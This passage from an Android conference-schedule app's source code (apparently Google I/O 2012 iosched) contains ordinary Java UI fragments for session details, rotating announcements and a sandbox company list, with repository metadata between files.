rootView.findViewById(R.id.scroll_view); mScrollView.setCallbacks(this); ViewTreeObserver vto = mScrollView.getViewTreeObserver(); if (vto.isAlive()) { vto.addOnGlobalLayoutListener(mGlobalLayoutListener); } } @Override public void onDestroyView() { super.onDestroyView(); if (mScrollView == null) { return; } ViewTreeObserver vto = mScrollView.getViewTreeObserver(); if (vto.isAlive()) { vto.removeGlobalOnLayoutListener(mGlobalLayoutListener); } } private ViewTreeObserver.OnGlobalLayoutListener mGlobalLayoutListener = new ViewTreeObserver.OnGlobalLayoutListener() { @Override public void onGlobalLayout() { onScrollChanged(); mAddScheduleButton.setVisibility(View.VISIBLE); } }; @Override @TargetApi(Build.VERSION_CODES.ICE_CREAM_SANDWICH) public void onScrollChanged() { float newTop = Math.max(mAddSchedulePlaceholderView.getTop(), mScrollView.getScrollY()); FrameLayout.LayoutParams lp = (FrameLayout.LayoutParams) mAddScheduleButton.getLayoutParams(); if (UIUtils.hasICS()) { mAddScheduleButton.setTranslationY(newTop); } else { lp.gravity = Gravity.TOP | Gravity.START; // needed for earlier platform versions lp.topMargin = (int) newTop; mScrollView.requestLayout(); } mScrollView.getGlobalVisibleRect(mBufferRect); int parentLeft = mBufferRect.left; int parentRight = mBufferRect.right; if (mAddSchedulePlaceholderView.getGlobalVisibleRect(mBufferRect)) { lp.leftMargin = mBufferRect.left - parentLeft; lp.rightMargin = parentRight - mBufferRect.right; } mAddScheduleButton.setLayoutParams(lp); } @Override public void onResume() { super.onResume(); updatePlusOneButton(); } @Override public void onStop() { super.onStop(); if (mInitStarred != mStarred) { if (mStarred && UIUtils.getCurrentTime(getActivity()) < mSessionBlockStart) { setupNotification(); } } } private void setupNotification() { // Schedule an alarm that fires a system notification when expires. final Context context = getActivity(); Intent scheduleIntent = new Intent( SessionAlarmService.ACTION_SCHEDULE_STARRED_BLOCK, null, context, SessionAlarmService.class); scheduleIntent.putExtra(SessionAlarmService.EXTRA_SESSION_START, mSessionBlockStart); scheduleIntent.putExtra(SessionAlarmService.EXTRA_SESSION_END, mSessionBlockEnd); context.startService(scheduleIntent); } /** * Handle {@link SessionsQuery} {@link Cursor}. */ private void onSessionQueryComplete(Cursor cursor) { mSessionCursor = true; if (!cursor.moveToFirst()) { if (isAdded()) { // TODO: Remove this in favor of a callbacks interface that the activity // can implement. getActivity().finish(); } return; } mTitleString = cursor.getString(SessionsQuery.TITLE); // Format time block this session occupies mSessionBlockStart = cursor.getLong(SessionsQuery.BLOCK_START); mSessionBlockEnd = cursor.getLong(SessionsQuery.BLOCK_END); String roomName = cursor.getString(SessionsQuery.ROOM_NAME); final String subtitle = UIUtils.formatSessionSubtitle( mTitleString, mSessionBlockStart, mSessionBlockEnd, roomName, mBuffer, getActivity()); mTitle.setText(mTitleString); mUrl = cursor.getString(SessionsQuery.URL); if (TextUtils.isEmpty(mUrl)) { mUrl = ""; } mHashtags = cursor.getString(SessionsQuery.HASHTAGS); if (!TextUtils.isEmpty(mHashtags)) { enableSocialStreamMenuItemDeferred(); } mRoomId = cursor.getString(SessionsQuery.ROOM_ID); setupShareMenuItemDeferred(); showStarredDeferred(mInitStarred = (cursor.getInt(SessionsQuery.STARRED) != 0), false); final String sessionAbstract = cursor.getString(SessionsQuery.ABSTRACT); if (!TextUtils.isEmpty(sessionAbstract)) { UIUtils.setTextMaybeHtml(mAbstract, sessionAbstract); mAbstract.setVisibility(View.VISIBLE); mHasSummaryContent = true; } else { mAbstract.setVisibility(View.GONE); } updatePlusOneButton(); final View requirementsBlock = mRootView.findViewById(R.id.session_requirements_block); final String sessionRequirements = cursor.getString(SessionsQuery.REQUIREMENTS); if (!TextUtils.isEmpty(sessionRequirements)) { UIUtils.setTextMaybeHtml(mRequirements, sessionRequirements); requirementsBlock.setVisibility(View.VISIBLE); mHasSummaryContent = true; } else { requirementsBlock.setVisibility(View.GONE); } // Show empty message when all data is loaded, and nothing to show if (mSpeakersCursor && !mHasSummaryContent) { mRootView.findViewById(android.R.id.empty).setVisibility(View.VISIBLE); } // Compile list of links (I/O live link, submit feedback, and normal links) ViewGroup linkContainer = (ViewGroup) mRootView.findViewById(R.id.links_container); linkContainer.removeAllViews(); final Context context = mRootView.getContext(); List<Pair<Integer, Intent>> links = new ArrayList<Pair<Integer, Intent>>(); final boolean hasLivestream = !TextUtils.isEmpty( cursor.getString(SessionsQuery.LIVESTREAM_URL)); long currentTimeMillis = UIUtils.getCurrentTime(context); if (UIUtils.hasHoneycomb() // Needs Honeycomb+ for the live stream && hasLivestream && currentTimeMillis > mSessionBlockStart && currentTimeMillis <= mSessionBlockEnd) { links.add(new Pair<Integer, Intent>( R.string.session_link_livestream, new Intent(Intent.ACTION_VIEW, mSessionUri) .setClass(context, SessionLivestreamActivity.class))); } // Add session feedback link links.add(new Pair<Integer, Intent>( R.string.session_feedback_submitlink, new Intent(Intent.ACTION_VIEW, mSessionUri, getActivity(), SessionFeedbackActivity.class) )); for (int i = 0; i < SessionsQuery.LINKS_INDICES.length; i++) { final String linkUrl = cursor.getString(SessionsQuery.LINKS_INDICES[i]); if (TextUtils.isEmpty(linkUrl)) { continue; } links.add(new Pair<Integer, Intent>( SessionsQuery.LINKS_TITLES[i], new Intent(Intent.ACTION_VIEW, Uri.parse(linkUrl)) .addFlags(Intent.FLAG_ACTIVITY_CLEAR_WHEN_TASK_RESET) )); } // Render links if (links.size() > 0) { LayoutInflater inflater = LayoutInflater.from(context); int columns = context.getResources().getInteger(R.integer.links_columns); LinearLayout currentLinkRowView = null; for (int i = 0; i < links.size(); i++) { final Pair<Integer, Intent> link = links.get(i); // Create link view TextView linkView = (TextView) inflater.inflate(R.layout.list_item_session_link, linkContainer, false); linkView.setText(getString(link.first)); linkView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { fireLinkEvent(link.first); try { startActivity(link.second); } catch (ActivityNotFoundException ignored) { } } }); // Place it inside a container if (columns == 1) { linkContainer.addView(linkView); } else { // create a new link row if (i % columns == 0) { currentLinkRowView = (LinearLayout) inflater.inflate( R.layout.include_link_row, linkContainer, false); currentLinkRowView.setWeightSum(columns); linkContainer.addView(currentLinkRowView); } ((LinearLayout.LayoutParams) linkView.getLayoutParams()).width = 0; ((LinearLayout.LayoutParams) linkView.getLayoutParams()).weight = 1; currentLinkRowView.addView(linkView); } } mRootView.findViewById(R.id.session_links_header).setVisibility(View.VISIBLE); mRootView.findViewById(R.id.links_container).setVisibility(View.VISIBLE); } else { mRootView.findViewById(R.id.session_links_header).setVisibility(View.GONE); mRootView.findViewById(R.id.links_container).setVisibility(View.GONE); } // Show past/present/future and livestream status for this block. UIUtils.updateTimeAndLivestreamBlockUI(context, mSessionBlockStart, mSessionBlockEnd, hasLivestream, null, mSubtitle, subtitle); EasyTracker.getTracker().sendView("Session: " + mTitleString); LOGD("Tracker", "Session: " + mTitleString); } private void updatePlusOneButton() { if (mPlusOneButton == null) { return; } if (!TextUtils.isEmpty(mUrl)) { mPlusOneButton.initialize(mUrl, 0); mPlusOneButton.setVisibility(View.VISIBLE); } else { mPlusOneButton.setVisibility(View.GONE); } } private void enableSocialStreamMenuItemDeferred() { mDeferredUiOperations.add(new Runnable() { @Override public void run() { mSocialStreamMenuItem.setVisible(true); } }); tryExecuteDeferredUiOperations(); } private void showStarredDeferred(final boolean starred, final boolean allowAnimate) { mDeferredUiOperations.add(new Runnable() { @Override public void run() { showStarred(starred, allowAnimate); } }); tryExecuteDeferredUiOperations(); } private void showStarred(boolean starred, boolean allowAnimate) { mStarMenuItem.setTitle(starred ? R.string.description_remove_schedule : R.string.description_add_schedule); mStarMenuItem.setIcon(starred ? R.drawable.ic_action_remove_schedule : R.drawable.ic_action_add_schedule); mStarred = starred; mAddScheduleButton.setChecked(mStarred); ImageView iconView = (ImageView) mAddScheduleButton.findViewById(R.id.add_schedule_icon); setOrAnimateIconTo(iconView, starred ? R.drawable.add_schedule_button_icon_checked : R.drawable.add_schedule_button_icon_unchecked, allowAnimate && starred); TextView textView = (TextView) mAddScheduleButton.findViewById(R.id.add_schedule_text); textView.setText(starred ? R.string.remove_from_schedule : R.string.add_to_schedule); mAddScheduleButton.setContentDescription(getString(starred ? R.string.remove_from_schedule_desc : R.string.add_to_schedule_desc)); } @TargetApi(Build.VERSION_CODES.ICE_CREAM_SANDWICH) private void setOrAnimateIconTo(final ImageView imageView, final int imageResId, boolean animate) { if (UIUtils.hasICS() && imageView.getTag() != null) { if (imageView.getTag() instanceof Animator) { Animator anim = (Animator) imageView.getTag(); anim.end(); imageView.setAlpha(1f); } } animate = animate && UIUtils.hasICS(); if (animate) { int duration = getResources().getInteger(android.R.integer.config_shortAnimTime); Animator outAnimator = ObjectAnimator.ofFloat(imageView, View.ALPHA, 0f); outAnimator.setDuration(duration / 2); outAnimator.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationEnd(Animator animation) { imageView.setImageResource(imageResId); } }); AnimatorSet inAnimator = new AnimatorSet(); outAnimator.setDuration(duration); inAnimator.playTogether( ObjectAnimator.ofFloat(imageView, View.ALPHA, 1f), ObjectAnimator.ofFloat(imageView, View.SCALE_X, 0f, 1f), ObjectAnimator.ofFloat(imageView, View.SCALE_Y, 0f, 1f) ); AnimatorSet set = new AnimatorSet(); set.playSequentially(outAnimator, inAnimator); set.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationEnd(Animator animation) { imageView.setTag(null); } }); imageView.setTag(set); set.start(); } else { mHandler.post(new Runnable() { @Override public void run() { imageView.setImageResource(imageResId); } }); } } private void setupShareMenuItemDeferred() { mDeferredUiOperations.add(new Runnable() { @Override public void run() { new SessionsHelper(getActivity()).tryConfigureShareMenuItem(mShareMenuItem, R.string.share_template, mTitleString, mHashtags, mUrl); } }); tryExecuteDeferredUiOperations(); } private void tryExecuteDeferredUiOperations() { if (mStarMenuItem != null && mSocialStreamMenuItem != null) { for (Runnable r : mDeferredUiOperations) { r.run(); } mDeferredUiOperations.clear(); } } private void onSpeakersQueryComplete(Cursor cursor) { mSpeakersCursor = true; final ViewGroup speakersGroup = (ViewGroup) mRootView.findViewById(R.id.session_speakers_block); // Remove all existing speakers (everything but first child, which is the header) for (int i = speakersGroup.getChildCount() - 1; i >= 1; i--) { speakersGroup.removeViewAt(i); } final LayoutInflater inflater = getActivity().getLayoutInflater(); boolean hasSpeakers = false; while (cursor.moveToNext()) { final String speakerName = cursor.getString(SpeakersQuery.SPEAKER_NAME); if (TextUtils.isEmpty(speakerName)) { continue; } final String speakerImageUrl = cursor.getString(SpeakersQuery.SPEAKER_IMAGE_URL); final String speakerCompany = cursor.getString(SpeakersQuery.SPEAKER_COMPANY); final String speakerUrl = cursor.getString(SpeakersQuery.SPEAKER_URL); final String speakerAbstract = cursor.getString(SpeakersQuery.SPEAKER_ABSTRACT); String speakerHeader = speakerName; if (!TextUtils.isEmpty(speakerCompany)) { speakerHeader += ", " + speakerCompany; } final View speakerView = inflater .inflate(R.layout.speaker_detail, speakersGroup, false); final TextView speakerHeaderView = (TextView) speakerView .findViewById(R.id.speaker_header); final ImageView speakerImageView = (ImageView) speakerView .findViewById(R.id.speaker_image); final TextView speakerAbstractView = (TextView) speakerView .findViewById(R.id.speaker_abstract); if (!TextUtils.isEmpty(speakerImageUrl) && mImageLoader != null) { mImageLoader.get(UIUtils.getConferenceImageUrl(speakerImageUrl), speakerImageView); } speakerHeaderView.setText(speakerHeader); speakerImageView.setContentDescription( getString(R.string.speaker_googleplus_profile, speakerHeader)); UIUtils.setTextMaybeHtml(speakerAbstractView, speakerAbstract); if (!TextUtils.isEmpty(speakerUrl)) { speakerImageView.setEnabled(true); speakerImageView.setOnClickListener(new OnClickListener() { @Override public void onClick(View view) { Intent speakerProfileIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(speakerUrl)); speakerProfileIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_WHEN_TASK_RESET); UIUtils.preferPackageForIntent(getActivity(), speakerProfileIntent, UIUtils.GOOGLE_PLUS_PACKAGE_NAME); startActivity(speakerProfileIntent); } }); } else { speakerImageView.setEnabled(false); speakerImageView.setOnClickListener(null); } speakersGroup.addView(speakerView); hasSpeakers = true; mHasSummaryContent = true; } speakersGroup.setVisibility(hasSpeakers ? View.VISIBLE : View.GONE); // Show empty message when all data is loaded, and nothing to show if (mSessionCursor && !mHasSummaryContent) { mRootView.findViewById(android.R.id.empty).setVisibility(View.VISIBLE); } } @Override public void onCreateOptionsMenu(Menu menu, MenuInflater inflater) { inflater.inflate(R.menu.session_detail, menu); mStarMenuItem = menu.findItem(R.id.menu_star); mStarMenuItem.setVisible(false); // functionality taken care of by button mSocialStreamMenuItem = menu.findItem(R.id.menu_social_stream); mShareMenuItem = menu.findItem(R.id.menu_share); tryExecuteDeferredUiOperations(); } @Override public boolean onOptionsItemSelected(MenuItem item) { SessionsHelper helper = new SessionsHelper(getActivity()); switch (item.getItemId()) { case R.id.menu_map: EasyTracker.getTracker().sendEvent( "Session", "Map", mTitleString, 0L); LOGD("Tracker", "Map: " + mTitleString); helper.startMapActivity(mRoomId); return true; case R.id.menu_star: setSessionStarred(!mStarred, true); return true; case R.id.menu_share: // On ICS+ devices, we normally won't reach this as ShareActionProvider will handle // sharing. helper.shareSession(getActivity(), R.string.share_template, mTitleString, mHashtags, mUrl); return true; case R.id.menu_social_stream: EasyTracker.getTracker().sendEvent( "Session", "Stream", mTitleString, 0L); LOGD("Tracker", "Stream: " + mTitleString); helper.startSocialStream(mHashtags); return true; } return false; } @Override public void onPrepareOptionsMenu(Menu menu) { } @Override public void onDestroyOptionsMenu() { } /* * Event structure: * Category -> "Session Details" * Action -> Link Text * Label -> Session's Title * Value -> 0. */ void fireLinkEvent(int actionId) { EasyTracker.getTracker().sendEvent("Session", getString(actionId), mTitleString, 0L); LOGD("Tracker", getString(actionId) + ": " + mTitleString); } void setSessionStarred(boolean star, boolean allowAnimate) { SessionsHelper helper = new SessionsHelper(getActivity()); showStarred(star, allowAnimate); helper.setSessionStarred(mSessionUri, star, mTitleString); EasyTracker.getTracker().sendEvent( "Session", star ? "Starred" : "Unstarred", mTitleString, 0L); LOGD("Tracker", (star ? "Starred: " : "Unstarred: ") + mTitleString); } /** * {@link com.google.android.apps.iosched.provider.ScheduleContract.Sessions} query parameters. */ private interface SessionsQuery { int _TOKEN = 0x1; String[] PROJECTION = { ScheduleContract.Blocks.BLOCK_START, ScheduleContract.Blocks.BLOCK_END, ScheduleContract.Sessions.SESSION_LEVEL, ScheduleContract.Sessions.SESSION_TITLE, ScheduleContract.Sessions.SESSION_ABSTRACT, ScheduleContract.Sessions.SESSION_REQUIREMENTS, ScheduleContract.Sessions.SESSION_STARRED, ScheduleContract.Sessions.SESSION_HASHTAGS, ScheduleContract.Sessions.SESSION_URL, ScheduleContract.Sessions.SESSION_YOUTUBE_URL, ScheduleContract.Sessions.SESSION_PDF_URL, ScheduleContract.Sessions.SESSION_NOTES_URL, ScheduleContract.Sessions.SESSION_LIVESTREAM_URL, ScheduleContract.Sessions.SESSION_MODERATOR_URL, ScheduleContract.Sessions.ROOM_ID, ScheduleContract.Rooms.ROOM_NAME, }; int BLOCK_START = 0; int BLOCK_END = 1; int LEVEL = 2; int TITLE = 3; int ABSTRACT = 4; int REQUIREMENTS = 5; int STARRED = 6; int HASHTAGS = 7; int URL = 8; int YOUTUBE_URL = 9; int PDF_URL = 10; int NOTES_URL = 11; int LIVESTREAM_URL = 12; int MODERATOR_URL = 13; int ROOM_ID = 14; int ROOM_NAME = 15; int[] LINKS_INDICES = { URL, YOUTUBE_URL, MODERATOR_URL, PDF_URL, NOTES_URL, }; int[] LINKS_TITLES = { R.string.session_link_main, R.string.session_link_youtube, R.string.session_link_moderator, R.string.session_link_pdf, R.string.session_link_notes, }; } private interface SpeakersQuery { int _TOKEN = 0x3; String[] PROJECTION = { ScheduleContract.Speakers.SPEAKER_NAME, ScheduleContract.Speakers.SPEAKER_IMAGE_URL, ScheduleContract.Speakers.SPEAKER_COMPANY, ScheduleContract.Speakers.SPEAKER_ABSTRACT, ScheduleContract.Speakers.SPEAKER_URL, }; int SPEAKER_NAME = 0; int SPEAKER_IMAGE_URL = 1; int SPEAKER_COMPANY = 2; int SPEAKER_ABSTRACT = 3; int SPEAKER_URL = 4; } @Override public Loader<Cursor> onCreateLoader(int id, Bundle data) { CursorLoader loader = null; if (id == SessionsQuery._TOKEN){ loader = new CursorLoader(getActivity(), mSessionUri, SessionsQuery.PROJECTION, null, null, null); } else if (id == SpeakersQuery._TOKEN && mSessionUri != null){ Uri speakersUri = ScheduleContract.Sessions.buildSpeakersDirUri(mSessionId); loader = new CursorLoader(getActivity(), speakersUri, SpeakersQuery.PROJECTION, null, null, null); } return loader; } @Override public void onLoadFinished(Loader<Cursor> loader, Cursor cursor) { if (!isAdded()) { return; } if (loader.getId() == SessionsQuery._TOKEN) { onSessionQueryComplete(cursor); } else if (loader.getId() == SpeakersQuery._TOKEN) { onSpeakersQueryComplete(cursor); } else { cursor.close(); } } @Override public void onLoaderReset(Loader<Cursor> loader) {} }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/SessionDetailFragment.java
Java
asf20
31,482
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract.Announcements; import com.google.android.apps.iosched.util.TimeUtils; import com.google.android.apps.iosched.util.UIUtils; import android.content.ActivityNotFoundException; import android.content.Intent; import android.database.ContentObserver; import android.database.Cursor; import android.net.Uri; import android.os.Bundle; import android.os.Handler; import android.support.v4.app.Fragment; import android.support.v4.app.LoaderManager.LoaderCallbacks; import android.support.v4.content.CursorLoader; import android.support.v4.content.Loader; import android.text.format.DateUtils; import android.view.LayoutInflater; import android.view.View; import android.view.View.OnClickListener; import android.view.ViewGroup; import android.view.animation.Animation; import android.view.animation.TranslateAnimation; import android.widget.TextView; /** * A fragment used in {@link HomeActivity} that shows either a countdown, * Announcements, or 'thank you' text, at different times (before/during/after * the conference). */ public class WhatsOnFragment extends Fragment implements LoaderCallbacks<Cursor> { private static final int ANNOUNCEMENTS_LOADER_ID = 0; private static final int ANNOUNCEMENTS_CYCLE_INTERVAL_MILLIS = 6000; private Handler mHandler = new Handler(); private TextView mCountdownTextView; private ViewGroup mRootView; private View mAnnouncementView; private Cursor mAnnouncementsCursor; private String mLatestAnnouncementId; private LayoutInflater mInflater; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { mInflater = inflater; mRootView = (ViewGroup) inflater.inflate(R.layout.fragment_whats_on, container); refresh(); return mRootView; } @Override public void onDetach() { super.onDetach(); mHandler.removeCallbacksAndMessages(null); getActivity().getContentResolver().unregisterContentObserver(mObserver); } private void refresh() { mHandler.removeCallbacksAndMessages(null); mRootView.removeAllViews(); final long currentTimeMillis = UIUtils.getCurrentTime(getActivity()); // Show Loading... and load the view corresponding to the current state if (currentTimeMillis < UIUtils.CONFERENCE_START_MILLIS) { setupBefore(); } else if (currentTimeMillis > UIUtils.CONFERENCE_END_MILLIS) { setupAfter(); } else { setupDuring(); } } private void setupBefore() { // Before conference, show countdown. mCountdownTextView = (TextView) mInflater .inflate(R.layout.whats_on_countdown, mRootView, false); mRootView.addView(mCountdownTextView); mHandler.post(mCountdownRunnable); } private void setupAfter() { // After conference, show canned text. mInflater.inflate(R.layout.whats_on_thank_you, mRootView, true); } private void setupDuring() { // Start background query to load announcements getLoaderManager().initLoader(ANNOUNCEMENTS_LOADER_ID, null, this); getActivity().getContentResolver().registerContentObserver( Announcements.CONTENT_URI, true, mObserver); } /** * Event that updates countdown timer. Posts itself again to * {@link #mHandler} to continue updating time. */ private Runnable mCountdownRunnable = new Runnable() { public void run() { int remainingSec = (int) Math.max(0, (UIUtils.CONFERENCE_START_MILLIS - UIUtils .getCurrentTime(getActivity())) / 1000); final boolean conferenceStarted = remainingSec == 0; if (conferenceStarted) { // Conference started while in countdown mode, switch modes and // bail on future countdown updates. mHandler.postDelayed(new Runnable() { public void run() { refresh(); } }, 100); return; } final int secs = remainingSec % 86400; final int days = remainingSec / 86400; final String str; if (days == 0) { str = getResources().getString( R.string.whats_on_countdown_title_0, DateUtils.formatElapsedTime(secs)); } else { str = getResources().getQuantityString( R.plurals.whats_on_countdown_title, days, days, DateUtils.formatElapsedTime(secs)); } mCountdownTextView.setText(str); // Repost ourselves to keep updating countdown mHandler.postDelayed(mCountdownRunnable, 1000); } }; @Override public Loader<Cursor> onCreateLoader(int id, Bundle args) { return new CursorLoader(getActivity(), Announcements.CONTENT_URI, AnnouncementsQuery.PROJECTION, null, null, Announcements.DEFAULT_SORT); } @Override public void onLoadFinished(Loader<Cursor> loader, Cursor cursor) { if (getActivity() == null) { return; } if (cursor != null && cursor.getCount() > 0) { // Need to always set this because original gets unset in onLoaderReset mAnnouncementsCursor = cursor; cursor.moveToFirst(); // Only update announcements if there's a new one String latestAnnouncementId = cursor.getString(AnnouncementsQuery.ANNOUNCEMENT_ID); if (!latestAnnouncementId.equals(mLatestAnnouncementId)) { mHandler.removeCallbacks(mCycleAnnouncementsRunnable); mLatestAnnouncementId = latestAnnouncementId; showAnnouncements(); } } else { mHandler.removeCallbacks(mCycleAnnouncementsRunnable); showNoAnnouncements(); } } @Override public void onLoaderReset(Loader<Cursor> loader) { mAnnouncementsCursor = null; } /** * Show the the announcements */ private void showAnnouncements() { mAnnouncementsCursor.moveToFirst(); ViewGroup announcementsRootView = (ViewGroup) mInflater.inflate( R.layout.whats_on_announcements, mRootView, false); mAnnouncementView = announcementsRootView.findViewById(R.id.announcement_container); // Begin cycling in announcements mHandler.post(mCycleAnnouncementsRunnable); final View moreButton = announcementsRootView.findViewById(R.id.extra_button); moreButton.setOnClickListener(new OnClickListener() { @Override public void onClick(View view) { startActivity(new Intent(getActivity(), AnnouncementsActivity.class)); } }); mRootView.removeAllViews(); mRootView.addView(announcementsRootView); } private Runnable mCycleAnnouncementsRunnable = new Runnable() { @Override public void run() { // First animate the current announcement out final int animationDuration = getResources().getInteger(android.R.integer.config_shortAnimTime); final int height = mAnnouncementView.getHeight(); TranslateAnimation anim = new TranslateAnimation(0, 0, 0, height); anim.setDuration(animationDuration); anim.setAnimationListener(new Animation.AnimationListener() { @Override public void onAnimationEnd(Animation animation) { // Set the announcement data TextView titleView = (TextView) mAnnouncementView.findViewById( R.id.announcement_title); TextView agoView = (TextView) mAnnouncementView.findViewById( R.id.announcement_ago); titleView.setText(mAnnouncementsCursor.getString( AnnouncementsQuery.ANNOUNCEMENT_TITLE)); long date = mAnnouncementsCursor.getLong( AnnouncementsQuery.ANNOUNCEMENT_DATE); String when = TimeUtils.getTimeAgo(date, getActivity()); agoView.setText(when); final String url = mAnnouncementsCursor.getString( AnnouncementsQuery.ANNOUNCEMENT_URL); mAnnouncementView.setOnClickListener(new OnClickListener() { @Override public void onClick(View view) { Intent announcementIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(url)); announcementIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_WHEN_TASK_RESET); UIUtils.preferPackageForIntent(getActivity(), announcementIntent, UIUtils.GOOGLE_PLUS_PACKAGE_NAME); try { startActivity(announcementIntent); } catch (ActivityNotFoundException ignored) { } } }); int nextPosition = (mAnnouncementsCursor.getPosition() + 1) % mAnnouncementsCursor.getCount(); mAnnouncementsCursor.moveToPosition(nextPosition); // Animate the announcement in TranslateAnimation anim = new TranslateAnimation(0, 0, height, 0); anim.setDuration(animationDuration); mAnnouncementView.startAnimation(anim); mHandler.postDelayed(mCycleAnnouncementsRunnable, ANNOUNCEMENTS_CYCLE_INTERVAL_MILLIS + animationDuration); } @Override public void onAnimationStart(Animation animation) { } @Override public void onAnimationRepeat(Animation animation) { } }); mAnnouncementView.startAnimation(anim); } }; /** * Show a placeholder message */ private void showNoAnnouncements() { mRootView.removeAllViews(); mInflater.inflate(R.layout.empty_announcements, mRootView, true); } private ContentObserver mObserver = new ContentObserver(new Handler()) { @Override public void onChange(boolean selfChange) { if (getActivity() == null) { return; } getLoaderManager().restartLoader(ANNOUNCEMENTS_LOADER_ID, null, WhatsOnFragment.this); } }; private interface AnnouncementsQuery { String[] PROJECTION = { Announcements.ANNOUNCEMENT_ID, Announcements.ANNOUNCEMENT_TITLE, Announcements.ANNOUNCEMENT_DATE, Announcements.ANNOUNCEMENT_URL, }; int ANNOUNCEMENT_ID = 0; int ANNOUNCEMENT_TITLE = 1; int ANNOUNCEMENT_DATE = 2; int ANNOUNCEMENT_URL = 3; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/WhatsOnFragment.java
Java
asf20
12,128
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.database.Cursor; import android.graphics.Color; import android.net.Uri; import android.os.Bundle; import android.provider.BaseColumns; import android.support.v4.app.ListFragment; import android.support.v4.app.LoaderManager; import android.support.v4.content.CursorLoader; import android.support.v4.content.Loader; import android.support.v4.widget.CursorAdapter; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ListView; import android.widget.TextView; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.util.UIUtils; import static com.google.android.apps.iosched.util.LogUtils.makeLogTag; /** * A {@link ListFragment} showing a list of sandbox comapnies. */ public class SandboxFragment extends ListFragment implements LoaderManager.LoaderCallbacks<Cursor> { private static final String TAG = makeLogTag(SandboxFragment.class); private static final String STATE_SELECTED_ID = "selectedId"; private Uri mSandboxUri; private CursorAdapter mAdapter; private String mSelectedCompanyId; public interface Callbacks { /** Return true to select (activate) the company in the list, false otherwise. */ public boolean onCompanySelected(String companyId); } private static Callbacks sDummyCallbacks = new Callbacks() { @Override public boolean onCompanySelected(String companyId) { return true; } }; private Callbacks mCallbacks = sDummyCallbacks; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); if (savedInstanceState != null) { mSelectedCompanyId = savedInstanceState.getString(STATE_SELECTED_ID); } } @Override public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); // As of support library r12, calling initLoader for a fragment in a FragmentPagerAdapter // in the fragment's onCreate may cause the same LoaderManager to be dealt to multiple // fragments because their mIndex is -1 (haven't been added to the activity yet). Thus, // we call reloadFromArguments (which calls restartLoader/initLoader) in onActivityCreated. reloadFromArguments(getArguments()); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View rootView = inflater.inflate(R.layout.fragment_list_with_empty_container_inset, container, false); TextView emptyView = new TextView(getActivity(), null, R.attr.emptyText); emptyView.setText(R.string.empty_sandbox); ((ViewGroup) rootView.findViewById(android.R.id.empty)).addView(emptyView); return rootView; } void reloadFromArguments(Bundle arguments) { // Teardown from previous arguments setListAdapter(null); // Load new arguments final Intent intent = BaseActivity.fragmentArgumentsToIntent(arguments); mSandboxUri = intent.getData(); if (mSandboxUri == null) { mSandboxUri = ScheduleContract.Sandbox.CONTENT_URI; } final int sandboxQueryToken; mAdapter = new SandboxAdapter(getActivity()); sandboxQueryToken = SandboxQuery._TOKEN; setListAdapter(mAdapter); // Start background query to load sandbox getLoaderManager().initLoader(sandboxQueryToken, null, this); } public void setSelectedCompanyId(String id) { mSelectedCompanyId = id; if (mAdapter != null) { mAdapter.notifyDataSetChanged(); } } @Override public void onViewCreated(View view, Bundle savedInstanceState) { super.onViewCreated(view, savedInstanceState); view.setBackgroundColor(Color.WHITE); final ListView listView = getListView(); listView.setSelector(android.R.color.transparent); listView.setCacheColorHint(Color.WHITE); } @Override public void onAttach(Activity activity) { super.onAttach(activity); if (!(activity instanceof Callbacks)) { throw new ClassCastException("Activity must implement fragment's callbacks."); } mCallbacks = (Callbacks) activity; } @Override public void onDetach() { super.onDetach(); mCallbacks = sDummyCallbacks; } @Override public void onSaveInstanceState(Bundle outState) { super.onSaveInstanceState(outState); if (mSelectedCompanyId != null) { outState.putString(STATE_SELECTED_ID, mSelectedCompanyId); } } /** {@inheritDoc} */ @Override public void onListItemClick(ListView l, View v, int position, long id) { final Cursor cursor = (Cursor) mAdapter.getItem(position); String companyId = cursor.getString(SandboxQuery.COMPANY_ID); if (mCallbacks.onCompanySelected(companyId)) { mSelectedCompanyId = companyId; mAdapter.notifyDataSetChanged(); } } /** * {@link CursorAdapter} that renders a {@link com.google.android.apps.iosched.ui.SandboxFragment.SandboxQuery}. */ private class SandboxAdapter extends CursorAdapter { public SandboxAdapter(Context context) { super(context, null, 0); } /** {@inheritDoc} */ @Override public View newView(Context context, Cursor cursor, ViewGroup parent) { return getActivity().getLayoutInflater().inflate(R.layout.list_item_sandbox, parent, false); } /** {@inheritDoc} */ @Override public void bindView(View view, Context context, Cursor cursor) { UIUtils.setActivatedCompat(view, cursor.getString(SandboxQuery.COMPANY_ID) .equals(mSelectedCompanyId)); ((TextView) view.findViewById(R.id.company_name)).setText( cursor.getString(SandboxQuery.NAME)); } } /** * 